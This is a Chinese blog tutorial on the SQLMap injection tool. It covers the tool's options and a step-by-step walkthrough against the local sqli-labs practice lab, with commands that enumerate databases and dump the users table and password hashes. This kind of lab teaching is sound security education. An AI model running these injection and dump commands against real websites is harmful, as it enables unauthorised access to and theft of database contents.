SQLMap工具使用

一、SQLMap介紹

SQLMap 是一款強大的開源自動化 SQL 注入工具,用于檢測和利用 Web 應用程序中的 SQL 注入漏洞。其工作原理是SQLMap 通過向目標 URL 發送帶有特殊構造的 SQL 語句的請求,觀察目標應用程序的響應,來判斷是否存在 SQL 注入漏洞。例如,它會嘗試在 URL 參數中添加單引號、注釋符號等特殊字符,觀察應用程序是否返回異常信息。如果發現存在漏洞,SQLMap 會根據漏洞類型和目標數據庫的特點,構造合適的 SQL 注入語句,以獲取所需的信息或執行命令。例如,通過聯合查詢注入,可以將惡意查詢與原查詢合并,從數據庫中獲取額外的數據。

SQLMap工具地址:

官方網站:sqlmap: automatic SQL injection and database takeover toolhttps://sqlmap.org/

?GitHub項目地址:https://github.com/sqlmapproject/sqlmap

二、SQLMap使用前言

在使用SQLMap這款工具前,需提前安裝好python編譯工具,本次使用結合sqli-labs-master靶場進行演示

注意:在SQLMap安裝目錄下使用,如

紅色框住部分輸入cmd,然后點擊回車,進入命令行界面

三、SQLMap基本參數

可輸入sqlmap.py --help 或 sqlmap/py -h 進行指令查看

-d ?? ??? ?指定直接數據庫連接得連接字符串,直接連接到數據庫。
-u ?? ??? ?指定URL目標
-I ?? ??? ?從Burp或WebScarab代理得日志中解析目標
-m ?? ??? ?掃描文本文件中給出得多個目標,批量掃描
-r ?? ??? ?從文本中加載HTTP請求。 用 * 標記注入位置
-g ?? ??? ?將Google Dork得結果作為目標URLh

-a ?? ??? ??? ??? ?獲取所有信息
-current-user ?? ?獲取DBMS當前用戶
--current-db ??? ?獲取DBMS當前數據庫
--hostname ?? ??? ?獲取DBMS當前主機名
--is-dba ?? ??? ?檢測當前用戶是否為管理員用戶
--users ?? ??? ?查詢DBMS用戶
--passwords ?? ?查詢DBMS用戶密碼hash
--dbs ?? ??? ??? ?查詢DBMS數據庫
--tables ?? ??? ?查詢DBMS數據庫中得表
--columns ?? ??? ?查詢DBMS數據庫表得列名
--dump ?? ??? ??? ?查詢轉儲DBMS數據庫表
--dump-all ?? ??? ?轉儲DBMS所有數據庫表
-D db_name ?? ??? ?指定要求枚舉的DBMS數據庫名
-T table_name ?? ?指定要枚舉得DBMS表
-C column_name ?? ?指定要枚舉得DBMS列
--batch ?? ??? ?從不詢問用戶輸入,使用所有默認配置

常用語法:

查看所有數據庫:python sqlmap.py -u “url地址/?id=1” --dbs --batch
查看某個數據庫所有表名:python sqlmap.py -u "URL地址" -D 數據庫名 --tables
查看某個數據庫下某張表下所有字段名:python sqlmap.py -u "URL地址" -D 數據庫 -T 表名 --columns

四、邁入實踐,以sqli-labs-master靶場第一關為例:

1、打開sqli-labs-master中第一關Less-1

2、輸入python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --dbs

3、成功獲取所有數據庫庫名

4、獲取數據庫security下所有的表名

python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security --tables

5、獲取數據庫security下users表名下所有字段名

python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security -T users --columns

6、獲取數據庫security下users表名下所有字段名的數據

python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security -T users --dump

注:--dump命令請謹慎使用,切勿違法使用,使用--dump參數后,將會在計算機本地生成一個.csv表格數據存儲,里面包含某個數據庫某張表下所有字段的具體內容

五、拓展使用,以sqli-labs-master靶場為例子:

查詢當前數據庫:python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-db

查詢當前數據庫用戶:python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-user

查詢當前數據庫版本信息:python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -banner

那么SQLMap這款工具簡單介紹這里,SQLMap工具十分強大,以上只是部分用法,更多詳細用法可結合官方操作文檔去使用。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/901963.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/901963.shtml
英文地址,請注明出處:http://en.pswp.cn/news/901963.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

virtualbox安裝xp系統卡頓的解決

安裝virtualbox的增強功能即可。 先去下載 — Oracle VirtualBox下載 VirtualBox Guest Additions iso鏡像 然后在這里導入iso鏡像 再按照這幾步操作 virtualbox按鍵 強制關閉xp-cuckoo的虛擬機 VBoxManage controlvm "xp-cuckoo" poweroff

觀察者 ? 事件總線:一路走來的碎碎念

寫給未來的自己:每次手敲事件模型都要 Google,干脆把思路和踩坑一次性記清楚。文章很長,都是嘮叨,目的是讓自己看兩眼就能把設計理由找回來。 目錄 為什么我要折騰事件模型?V0 ─ 單一事件的觀察者模式V1 ─ 多事件同步總線(類型拆分)V2 ─ 訂閱者優先級(鏈式調用可控)…

windwos腳本 | 基于scrcpy,只投聲音、只投畫面

安裝scrcpy,scrcpy自帶adb 寫腳本命名為 .bat 結尾 注意這里的set "PATHD:\tools\scrcpy-win64-v3.2;%PATH%" 替換成scrcpy的安裝目錄 echo off :: 設置UTF-8編碼 chcp 65001 > nul :: 設置標題 title 手機投屏工具:: 添加 scrcpy 路徑到 PATH set &q…

Android device PCO (protocol configuration options) intro

術語 英文縮寫英文全稱中文PCOprotocol configuration options協議配置選項RILradio interface layer 無線電接口層PCO介紹 PCO(Protocol Configuration Options) 是 3GPP 標準協議(TS 24.008)中定義的核心概念,用于在 LTE/5G 網絡建立 PDN 連接時傳遞動態配置參數(如 D…

Spring Boot配置文件優先級全解析:如何優雅覆蓋默認配置?

📚 一、為什么需要了解配置文件優先級? 想象一下,你正在玩一個游戲🎮,游戲里有默認設置,但你可以通過不同的方式修改這些設置: 游戲內置的默認設置(就像Spring Boot的默認配置&…

汽車行駛工況特征參數:從“速度曲線”到“駕駛DNA”的硬核解碼

作為新能源汽車行業的從業者,你是否曾困惑于這些問題: 為什么同一款電動車,不同用戶的實際續航差異高達30%?如何精準量化駕駛行為對電池壽命的影響?車企標定的“NEDC續航”與真實路況差距的根源是什么? 這…

HTTP 2.0 協議特性詳解

1. 使用二進制協議,簡化傳輸的復雜性,提高了效率 2. 支持一個 TCP 鏈接發起多請求,移除 pipeline HTTP/2 移除了 HTTP/1.1中的管道化(pipeline)機制,轉而采用多路復用(Multiplexing&#xff0…

完美解決瀏覽器不能復制的問題(比如賽氪網的中題庫練習題)

僅供復制題庫題目進行打印學習使用! 最近想把賽氪網題庫中的題目打印出來做練習,發現題庫中的題目不能復制,不能在試卷上勾畫標記太難受了,而且不能留作材料以后復習,故出此策。 而且CtrlP打印出的pdf會缺少題目。(我…

std::set (C++)

std::set 1. 概述定義特點 2. 內部實現3. 性能特征4. 常用 API5. 使用示例6. 自定義比較器7. 注意事項與優化8. 使用建議 1. 概述 定義 template<class Key,class Compare std::less<Key>,class Allocator std::allocator<Key> > class std::set;特點 有…

SSM省市區三級聯動和三表聯查附帶數據庫

SSM省市區三級聯動和三表聯查 ------附帶數據庫碼云地址&#xff1a;https://gitee.com/Mr_ZKC/NO1 數據庫在項目中

曲棍球·棒球1號位

中國女子曲棍球隊曾涌現過馬弋博、李紅俠等優秀選手&#xff0c;但“李紅”這一名字可能為信息誤差。以下為您系統介紹曲棍球&#xff0c;并結合棒球進行對比分析&#xff1a; 曲棍球&#xff08;Hockey&#xff09;核心特點 運動形式 分為草地曲棍球&#xff08;夏季奧運會項…

12芯束裝光纖不同包層線顏色之間的排列順序

為什么光纖線必須按照以下顏色順序進行排序&#xff1f;這其實是為了防止光污染的問題&#xff0c;不同顏色在傳遞光時從包層表皮漏光傳感到梳妝的其它纖芯上&#xff0c;會有光污染的問題&#xff0c;而為了減少并防止光污染的現象&#xff0c;所以在光通信之中&#xff0c;需…

c++程序的打包編譯cmake+make

c打包編譯 1 在不用系統中打包介紹1.1 linux中打包c程序的2種方式1.2 windows中打包c程序1.3 cmakeNinja和cmakemake的兩種方式對比1.3.1 Ninja是什么&#xff08;可以認為是make工具的一個替代產品&#xff09;1.3.2 cmakeNinja可以用于linux和windows系統中&#xff0c;編譯效…

Spark on K8s 在 vivo 大數據平臺的混部實戰與優化

一、Spark on K8s 簡介 (一)定義與架構 Spark on K8s 是一種將 Spark 運行在 Kubernetes(K8s)集群上的架構,由 K8s 直接創建 Driver 和 Executor 的 Pod 來運行 Spark 作業。其架構如下。 Driver Pod:相當于 Spark 集群中的 Driver,負責作業的調度和管理,它會根據作業…

MDA測量數據查看器【內含工具和源碼地址】

一、工具介紹 MDA測量數據查看器用于顯示和分析以MDF格式提供的測量數據。 支持MDF3.3之前含MDF3.3的二進制格式&#xff0c;支持Vector CANape and ETAS Inca. Kvaser CAN Logger (MDF 3.2) 文件。 MDF (Measurement Data Format)是一種二進制文件&#xff0c;用來記錄、交換…

番外篇 | SEAM-YOLO:引入SEAM系列注意力機制,提升遮擋小目標的檢測性能

前言:Hello大家好,我是小哥談。SEAM(Squeeze-and-Excitation Attention Module)系列注意力機制是一種高效的特征增強方法,特別適合處理遮擋和小目標檢測問題。該機制通過建模通道間關系來自適應地重新校準通道特征響應。在遮擋小目標檢測中的應用優勢包括:1)通道注意力增強…

使用VHDL語言實現TXT文件的讀寫操作

使用FPGA進行圖像處理時&#xff0c;通常需要將TXT文件中的圖像數據讀出到TestBench中&#xff0c;并將仿真的結果寫入到TXT文件中&#xff0c;用于確認圖像處理的結果是否正確。 VHDL中TXT文件的讀寫操作如下所示&#xff0c; --------------------------------------------…

基于Redis的4種延時隊列實現方式

延時隊列是一種特殊的消息隊列&#xff0c;它允許消息在指定的時間后被消費。在微服務架構、電商系統和任務調度場景中&#xff0c;延時隊列扮演著關鍵角色。例如&#xff0c;訂單超時自動取消、定時提醒、延時支付等都依賴延時隊列實現。 Redis作為高性能的內存數據庫&#x…

GN ninja 工程化構建例程

文章目錄 1. 前言?2. 工程實例??2.1 工程目錄結構2.2 工程頂層.gn文件2.3 工具鏈配置.gn文件2.4 編譯配置.gn文件2.5 編譯目標配置.gn文件2.6 工程接口文件2.7 動態庫編譯.gn文件2.8 動態庫源文件2.9 靜態庫編譯.gn文件2.10 靜態庫源文件2.11 主程序編譯.gn文件2.12 主程序源…